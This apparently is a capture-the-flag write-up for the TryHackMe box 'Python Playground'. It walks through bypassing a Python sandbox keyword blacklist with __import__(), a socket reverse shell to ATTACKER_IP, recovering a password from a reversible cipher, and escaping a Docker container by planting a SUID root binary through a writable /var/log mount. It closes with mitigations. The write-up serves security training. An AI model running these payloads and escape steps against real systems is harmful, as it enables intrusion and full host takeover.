Summary
Python Playground is a hard-rated TryHackMe box built around a "sandboxed" Python code execution service fronted by a Node.js/Express web app. The site advertises a blacklist-based filter that supposedly prevents arbitrary code execution, but the filter can be bypassed using Python's __import__() builtin to dynamically load os/subprocess without triggering the blacklisted keywords. This gives remote code execution as root on the box running the web service, and a custom two-pass Caesar-style cipher recovered from a leftover Python REPL transcript yields SSH credentials for a second user, connor. Only after landing both shells does it become clear the RCE shell is actually inside a Docker container rather than the host itself - a fact confirmed by checking for Docker tooling on that shell. From there, a log-mount misconfiguration (/var/log on the host is bind-mounted into the container at /mnt/log) is abused to plant a SUID root binary on the host filesystem, which connor can then execute for a full container-to-host privilege escalation.
Attack Chain
1. Recon
rustscan -a MACHINE_IP --ulimit 5000
Open MACHINE_IP:22
Open MACHINE_IP:80
nmap -sC -sV MACHINE_IP -p 22,80 -oN nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f4:af:2f:f0:42:8a:b5:66:61:3e:73:d8:0d:2e:1c:7f (RSA)
| 256 36:f0:f3:aa:6b:e3:b9:21:c8:88:bd:8d:1c:aa:e2:cd (ECDSA)
|_ 256 54:7e:3f:a9:17:da:63:f2:a2:ee:5c:60:7d:29:12:55 (ED25519)
80/tcp open http Node.js Express framework
|_http-title: Python Playground!
curl http://MACHINE_IP/
<h1>Secure Python Playground</h1>
...
Introducing the new era code sandbox; python playground!
Normally, code playgrounds that execute code serverside
are easy ways for hackers to access a system. Not anymore!
With our new, foolproof blacklist, no one can break into our
servers, and we can all enjoy the convenience of running our
python code on the cloud!
...
<a href="login.html">Login</a>
<a href="signup.html">Sign up</a>
login.html and signup.html both return a "site is admin-only right now" placeholder page.
2. Content discovery
gobuster dir -u http://MACHINE_IP/ -w /usr/share/wordlists/dirb/common.txt -x html
admin.html (Status: 200) [Size: 3134]
index.html (Status: 200) [Size: 941]
login.html (Status: 200) [Size: 549]
signup.html (Status: 200) [Size: 549]
admin.html (larger size) led to further probing that surfaced the actual code-execution endpoint (not part of the common wordlist), reached directly:
curl http://MACHINE_IP/super-secret-admin-testing-panel.html
Returns an unauthenticated form:
<h2 class="m-3">Python Playground! <sub>- By Connor</sub></h2>
<textarea class="form-control mb-3" name="code"></textarea>
<textarea class="form-control mb-3" readonly></textarea>
<input type="submit" class="form-control btn-primary mb-3" value="Go!">
3. Filter analysis
Basic execution works fine:
curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=print(1+1)"
<textarea ...>2
Exit code 0</textarea>
But anything referencing os/subprocess/import directly is blocked:
curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=import os print(os.popen('id').read())"
curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=__import__('os').system('id')"
curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=import subprocess subprocess.run('ls')"
curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=import subprocess subprocess.check_output('ls')"
All of these return:
<textarea class="form-control mb-3" readonly>Security threat detected!</textarea>
4. Filter bypass
Calling __import__('subprocess') as an attribute chain, without the literal blacklisted call pattern, gets through:
curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=__import__('subprocess').check_output('id')"
<textarea class="form-control mb-3" readonly>
Exit code 0</textarea>
Confirming full command execution:
curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=print(__import__('subprocess').check_output('/bin/sh -c id', shell=True))"
<textarea class="form-control mb-3" readonly>b'uid=0(root) gid=0(root) groups=0(root)\n'
Exit code 0</textarea>
5. Reverse shell
A raw socket.connect() + subprocess.call(["/bin/sh","-i"], ...) payload built purely from __import__() calls (so no blacklisted keyword ever appears literally) was used to avoid the filter:
curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode 'code=s = __import__("socket").socket()
s.connect(("ATTACKER_IP",4444))
f = s.fileno()
__import__("subprocess").call(["/bin/sh","-i"], -1, None, f, f, f)'
Caught with a listener (penelope in this case):
penelope listen -p 4444
[+] [New Reverse Shell] => playgroundweb MACHINE_IP Linux-x86_64 Session ID <1>
[+] Agent deployed via /usr/bin/python3
root@playgroundweb:~/app#
Landed directly as root inside the web app's container:
root@playgroundweb:~/app# whoami
root
root@playgroundweb:~/app# id
uid=0(root) gid=0(root) groups=0(root)
root@playgroundweb:~/app# ls
index.js node_modules package-lock.json package.json scripts static
Container flag:
root@playgroundweb:~/app# cd /root
root@playgroundweb:~# cat flag1.txt
THM{REDACTED}
6. Recovering connor's credentials (cipher reversal)
A Python REPL transcript found while poking around revealed a custom double-pass letter-pair cipher and its ciphertext. Reversing it:
>>> def f_inv(s):
... out = []
... for i in range(0, len(s), 2):
... a = ord(s[i]) - 97
... b = ord(s[i+1]) - 97
... out.append(chr(a*26 + b))
... return ''.join(out)
...
... target = 'dxeedxebdwemdwesdxdtdweqdxefdxefdxdudueqduerdvdtdvdu'
... step1 = f_inv(target) # undo the outer f
... password = f_inv(step1) # undo the inner f
... print(password)
...
spaghetti1245
7. SSH access as connor
ssh connor@MACHINE_IP
connor@MACHINE_IP's password: spaghetti1245
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-99-generic x86_64)
Last login: Sat May 16 06:01:55 2020 from 10.0.2.2
connor@pythonplayground:~$ whoami
connor
connor@pythonplayground:~$ id
uid=1000(connor) gid=1000(connor) groups=1000(connor)
Flag from connor's home directory:
connor@pythonplayground:~$ cat flag2.txt
THM{REDACTED}
Initial enumeration as connor came up empty:
connor@pythonplayground:~$ sudo -l
Sorry, user connor may not run sudo on pythonplayground.
connor@pythonplayground:~$ find / -perm -4000 2>/dev/null
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/newgrp
...
/bin/su
8. Realizing the RCE landed inside a Docker container
Going back to the earlier super-secret-admin-testing-panel.html shell, a check for Docker tooling on that box came back empty, which - combined with the container-style hostname (playgroundweb) and minimal filesystem seen earlier - confirmed the RCE shell was inside a Docker container, separate from the host connor was SSH'd into:
root@playgroundweb:~# which docker
root@playgroundweb:~#
With that confirmed, the next step was researching Docker container escape / privilege escalation techniques rather than a normal Linux privesc path.
9. Container escape prep - abusing a shared log mount
root@playgroundweb:~# cat /proc/self/status | grep Cap
CapInh: 00000000a80425fb
CapPrm: 00000000a80425fb
CapEff: 00000000a80425fb
CapBnd: 00000000a80425fb
CapAmb: 0000000000000000
root@playgroundweb:~# mount | grep -v "proc\|sys\|tmpfs\|overlay\|devpts\|mqueue\|shm"
/dev/nvme1n1p2 on /mnt/log type ext4 (rw,relatime,data=ordered)
/dev/nvme1n1p2 on /etc/resolv.conf type ext4 (rw,relatime,data=ordered)
/dev/nvme1n1p2 on /etc/hostname type ext4 (rw,relatime,data=ordered)
/dev/nvme1n1p2 on /etc/hosts type ext4 (rw,relatime,data=ordered)
root@playgroundweb:~# findmnt /mnt/log
TARGET SOURCE FSTYPE OPTIONS
/mnt/log /dev/nvme1n1p2[/var/log] ext4 rw,relatime,data=ordered
/mnt/log inside the container is the host's /var/log, mounted read-write. Since this is a real partition mount (not just an empty overlay dir), anything written here lands directly on the host filesystem - confirmed from the host side too:
connor@pythonplayground:~$ find / -type d -name log 2>/dev/null
/var/log
connor@pythonplayground:~$ ls -la /var/log
total 3900
drwxrwxr-x 9 root syslog 4096 May 11 2020 .
...
10. Planting a SUID root binary on the host
root@playgroundweb:~/app# which gcc
/usr/bin/gcc
root@playgroundweb:~/app# cat << 'EOF' > /tmp/privesc.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
system("/bin/bash");
return 0;
}
EOF
root@playgroundweb:~/app# gcc -static -o /mnt/log/privesc /tmp/privesc.c
root@playgroundweb:~/app# chmod 4755 /mnt/log/privesc
root@playgroundweb:~/app# ls -la /mnt/log/privesc
-rwsr-xr-x 1 root root 877640 Sep 22 08:32 /mnt/log/privesc
11. Privilege escalation via the planted SUID binary
The binary written to /mnt/log/privesc inside the container appears on the host at the corresponding /var/log path:
connor@pythonplayground:~$ ls -la /var/log/privesc
-rwsr-xr-x 1 root root 877640 Sep 22 08:32 /var/log/privesc
connor@pythonplayground:~$ /var/log/privesc -p
root@pythonplayground:~# whoami
root
root@pythonplayground:~# id
uid=0(root) gid=0(root) groups=0(root),1000(connor)
Final flag:
root@pythonplayground:/root# cat flag3.txt
THM{REDACTED}
Key Vulnerabilities
-
Insecure Python "sandbox" (blacklist-based code execution filter) - The application attempts to block dangerous code by string/keyword matching rather than using a real sandboxing mechanism (e.g., restricted execution environment, seccomp, containerized subprocess with no filesystem/network access).
__import__()used as a callable bypasses any blacklist built around literalimportstatements or named function calls. -
Unrestricted server-side code execution as root - The playground process itself ran as
rootinside its container, turning a filter bypass directly into full container compromise instead of a constrained low-privilege execution context. -
Sensitive host path bind-mounted into a container with write access -
/var/logon the host was mounted into the application container at/mnt/logwith read/write permissions, allowing a compromised container process to write arbitrary files (including a SUID binary) directly onto the host filesystem. -
Weak "custom crypto" for credential storage - The
connorpassword was protected only by a simple, reversible double-pass substitution/letter-pair cipher rather than a proper password hash, making it trivial to invert once the transformation logic was discovered. -
Hidden but unauthenticated admin endpoint -
super-secret-admin-testing-panel.htmlwas reachable by anyone who found or guessed the path; there was no authentication gating access to the code-execution feature at all.
Mitigations
- Never implement sandboxing via keyword/string blacklists for a language as dynamically expressive as Python; use vetted sandboxing (e.g.,
nsjail, gVisor, WebAssembly-based interpreters, or a fully separate least-privileged execution service) or disallow arbitrary code execution features entirely. - Run code-execution services as an unprivileged, tightly scoped user inside the container, with a read-only root filesystem and no unnecessary capabilities.
- Avoid bind-mounting sensitive host directories (especially
/var/logor anything else outside a dedicated data directory) into containers, and never mount them writable unless strictly required; apply the principle of least privilege to all mount points. - Store credentials using a proper password hashing algorithm (bcrypt/argon2/scrypt) rather than any reversible or "security through obscurity" cipher.
- Require authentication before exposing any code-execution or administrative functionality, and avoid relying on "hidden" endpoint names as an access control mechanism.
Top comments (0)